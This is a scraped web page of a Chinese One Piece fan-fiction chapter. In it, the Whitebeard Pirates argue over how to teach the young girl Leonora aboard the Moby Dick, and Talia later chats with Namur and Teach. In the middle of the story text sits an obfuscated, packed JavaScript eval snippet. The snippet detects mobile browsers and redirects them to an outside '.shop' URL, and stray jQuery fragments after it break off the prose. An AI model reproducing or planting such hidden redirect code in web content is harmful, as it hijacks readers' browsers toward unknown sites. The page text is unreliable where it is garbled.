文趣网 > 其他小说 > 所看见的颜色 > 11.第 11 章
    莫比迪克号在布鲁岛的港口停留了两天。

    除了补充物资外,这座小岛实在没有什么值得让他们停留太久,这只是一座普通得不能再普通的小岛,没有特色的技术、也没有动人心魄的冒险。

    尽管如此,在大多海贼选择了去镇上的旅馆或是森林里过夜时,马尔科等人还是选择留在了船上,带着莉奥诺拉。

    随着巨型船锚逐渐升起,船帆和海贼旗鼓满了风,朝着大海驶去。

    莉奥诺拉站在木桶上扒拉着船舷,向后看了眼栈桥上稀稀拉拉的人群,然后将视线转向了一望无际的大海。

    耳边是海贼们对于重新起航的欢呼,小小的莉奥模模糊糊地了解了,生活在陆地上的人,似乎很向往大海。

    “莉奥,过来学习啦!”甲板正中央有人在喊。

    听到自己的名字,莉奥诺拉咕噜一下从木桶上跳下来,抱着木桶小跑了起来。

    “慢点慢点小莉奥,你这看得见路吗?”

    “别摔了哈!”

    莉奥诺拉转头看向了说话的家伙,一板一眼认真道:“看得见,不会摔。”

    “哎呀!走路的时候看前面!”

    开口的家伙被旁边的人揍了一拳,那人痛心疾首地嘱咐着:“小莉奥,在你忙的时候可以不用理这些家伙的!”

    莉奥诺拉不明所以,但她认真地点了点头。

    虽然不知道为什么总有人觉得她会摔跤,但塔利亚说,这是他人的善意,只要坦然接受就好了。

    莉奥诺拉一个原地刹车放下了手中的桶,她认认真真地朝着几人点点头,学着塔利亚教她的样子开口:“谢谢。”

    然后又抱起木桶“咚咚咚”地跑了起来。

    看着那个远去的小小背影,几个人愁得不能再愁了。

    “当海贼真的需要这么礼貌吗?”自从塔利亚教了讲礼貌这件事后,这小孩嘴里冒出来的最多的词汇就是“谢谢”。礼貌又不是什么新玩具,真的需要被“宠幸”这么多天吗?

    “但她还小诶,难道不是该从这些学起吗?”

    “以后一边说对不起一边把敌人扔进海里不也挺带感的嘛!”

    ……好吧,被说服了。

    知道莉奥诺拉只是暂时待在船上的人并不多,而知情的马尔科等人也都默契地没有主动开口解释,只是任由这群笨蛋海贼一个接一个的操心——大多数人或多或少地在布鲁岛听说了什么。

    但海贼向来只听自己想听的,想去探究莉奥诺拉不同的人只是极少数,更多的反而陷入了一种奇怪的感性中。毕竟没有人比他们更清楚,被人厌恶嫌弃的感受。

    面对同类,他们并不吝啬于自己的善意。

    比如莉奥诺拉桌子上添置的连环画。

    教小孩子学习,是不是专业的不好说,但白胡子海贼团是认真的。

    马尔科和塔利亚在医疗室专门整理出了一小块地方放书桌,甚至还贴心地准备了许多笔和纸,虽然用哪个海域的教材课本一堆人还在争吵,但不得不说,课桌相当有模有样。

    然而在教材争论结果出现之前,连环画《大话王罗兰度》就已经摆上了小姑娘的课桌。

    那伙人被发现后还振振有词:“小孩子学什么学,就该好好玩!”

    还有人不满老师一职居然是被内定的,他们梗着脖子对着几个队长抗议:“我也要教,凭什么你们要把小莉奥藏到医务室!”

    “我们怎么就不能当老师了!我们也要玩……啊不是,也要教。”

    “笨蛋,你把心里话说出来我们还怎么争取!”

    ……

    马尔科:“……”就这还好意思争取啊,他不让莉奥远离这群笨蛋就不错了。

    但是没办法,船上的乐子实在太少了,岛屿和岛屿间的航行动辄以月为单位,睁眼闭眼都是大海的时候,连海军的围追堵截都是调剂,更遑论这种据说一天一个样的小孩了。

    塔利亚最先忍不了医疗室的门板上像蘑菇一样长出来的脑袋。

    平日里胳膊断了都不想踏进医疗室一步的家伙们在这种时候倒是差点把医疗室当做第二个宿舍了。

    塔利亚和伊芙琳恶狠狠地在老爹那张巨大的宝座旁边立了套小小的桌椅,然后皮笑肉不笑地说着:“那就轮到你们发挥了。”

    本以为这群人能在老爹的威压下望而却步,可没想到的是,老爹居然成了最开心的那个。

    眼瞧着抱着木桶的小孩越走越近,白胡子迅速地给自己的酒杯倒满了酒,调整了一个舒服的坐姿,好整以暇地看着这群闹哄哄的家伙。

    “你还抱着这个木桶啊,里面到底装着什么啊?”马尔科听着木桶里传来的“咚咚”声,颇有些哭笑不得。

    这木桶也是物尽其用了,从装酒到被当凳子再到当盒子,偶尔还能踩上去搭个脚……让他都有点可惜于过往那么多被拆掉的木桶了。

    木桶被塞到了桌子下边,莉奥诺拉利索地爬上了凳子,悬空的脚刚好踩在了木桶上,她正襟危坐地看着眼前的一大群人,滚了滚木桶。

    “椰子。”她回答道。

    没吃完的椰子被一股脑塞进木桶里随身携带,连走路都会发出哐哐哐的声音。马尔科有些失语,不知道是先感叹这小孩的力气大,还是先感动于这小孩对于这些椰子的看重。

    啧,早知道他就弄点好吃、好保存又轻的东西了。

    话说有这种东西吗?

    尚且在沉思的马尔科已经被推到了一边,老师们就争相上了岗。

    萨奇抱着一大本菜谱、以藏拿着没有装子弹的枪、比斯塔拿着缩小版的剑、甚至还有人拿了一沓悬赏令……五花八门看得塔利亚叹为观止。

    看着果不其然的闹剧,白胡子笑得连喝了两大碗酒。

    莉奥诺拉并不太清楚这些玩意其实不太适合出现年仅七岁的小孩面前,她只是看着这五花八门的一堆,想起了塔利亚昨天晚上说的话。

    “听好了小莉奥,明天无论他们想教你什么,就选你最好奇的就可以了,就当是和他们一起玩,听不懂学不会也没关系,不用害怕。”

    “但是要记好,我们晚上的学习可不能这样,一定一定要认真哦。”

    没错,塔利亚之所以敢放任这群人乱七八糟的教学,完全是因为她和伊芙琳以及马尔科开展了另外的课。从认字到常识,所有生活必要的知识他们都会在没有笨蛋打扰的地方教给她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634791|206168||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    那个拿菜谱和悬赏令的家伙到底知不知道,小莉奥到现在连字都没认全啊!

    现在只能委屈小莉奥和这群家伙玩一玩了。塔利亚双手合十,心中满是歉意。

    但莉奥诺拉并没有觉得有丝毫的委屈,未知事物远比周围看热闹的人有趣得多,尤其是在看见了那么多没见过的东西。

    她的目光在这些人身上一一划过,还丝毫不觉被注视的人都屏住了呼吸。最终她的目光落在了一沓奇奇怪怪的纸上,莉奥诺拉微微歪头,和那张纸上格外面熟的脸对视了两秒,然后转头看向了自己身后正在喝酒的人。

    为什么这个人会出现在这张纸上面?他也要画画吗?

    拿着悬赏令的人像打了胜仗一样昂首挺胸地在几个人面前显摆了一圈,下巴恨不得送到天上去,他就知道小孩子肯定会对她熟悉的人感兴趣,不枉他把老爹的悬赏令放在第一个!

    白胡子看着那叠被拍到桌子上的悬赏令,满意地点了点头,嘱咐道:“让这个小家伙认真看看我到底长什么样!”

    她画的那是什么奇怪玩意。

    塔利亚简直没眼看这群在外凶神恶煞,实际幼稚至极的海贼,她朝着马尔科打了个招呼,转身朝着船舱内部走去。

    估摸着伊芙琳大概在餐厅偷懒,塔利亚脚步不歇地直奔餐厅。却没想到非用餐时间,还能在这个地方看见其他人。

    “怎么不去甲板看热闹啊?”塔利亚随意坐下,支着下巴笑,“那边可热闹了。”

    手边放着瓶啤酒的鱼人指着自己裸露在外的六颗牙齿和背部延伸出来的鱼鳍:“过段时间吧,经常出现的话感觉会把小姑娘吓到。”

    鱼人大多天生嘴角向下,不笑的时候显得格外凶,更别提那异于常人的身体构造。如果只是偶尔出现在小孩面前那倒无所谓,可看现在的情况,那孩子大概率会长时间待在船上,那他就得需要考虑一下怎么和一无所知的小孩相处了。

    “那缪尔你想太多了,小莉奥才不是那样的人呢。”塔利亚摆着手,“你帮她弄了两次她的小船,她肯定在心里感谢你呢。”

    初到布鲁岛时,那缪尔帮着小姑娘将小船从莫比迪克号下放至海面,而在决定小姑娘不用留在那座岛上后,也是那缪尔帮忙把小船提上来的。

    像是想到了什么,女人的神色变得异常柔软:“她可乖了,之前给她应急的旧衣服都被她收拾得特别好,整整齐齐地叠在她的小床上。”

    大概是被塔利亚的柔情所感染,那缪尔也不自觉地笑了起来。

    “那你呢?”看着那缪尔稍微放松了不少,塔利亚满意地点头,将目光看向了餐桌的另一边。

    没有开灯的餐厅内光线并不算很充足,但这也黑不过那人几乎能和背景融为一体的肤色,白色的头巾包裹不住满头弯弯曲曲的头发,东缺一颗西少一颗的牙齿在他那张笑得格外夸张的脸上还有一丝丝的憨厚。

    “蒂奇你怎么不去甲板玩?”

    名唤蒂奇的男人咧着嘴笑,他看着那缪尔调侃道:“本来要去的,结果发现了有人躲在这里,我就来看看了。”

    “对了塔利亚,那个小孩就确定会留在船上了吗?”蒂奇随口问道。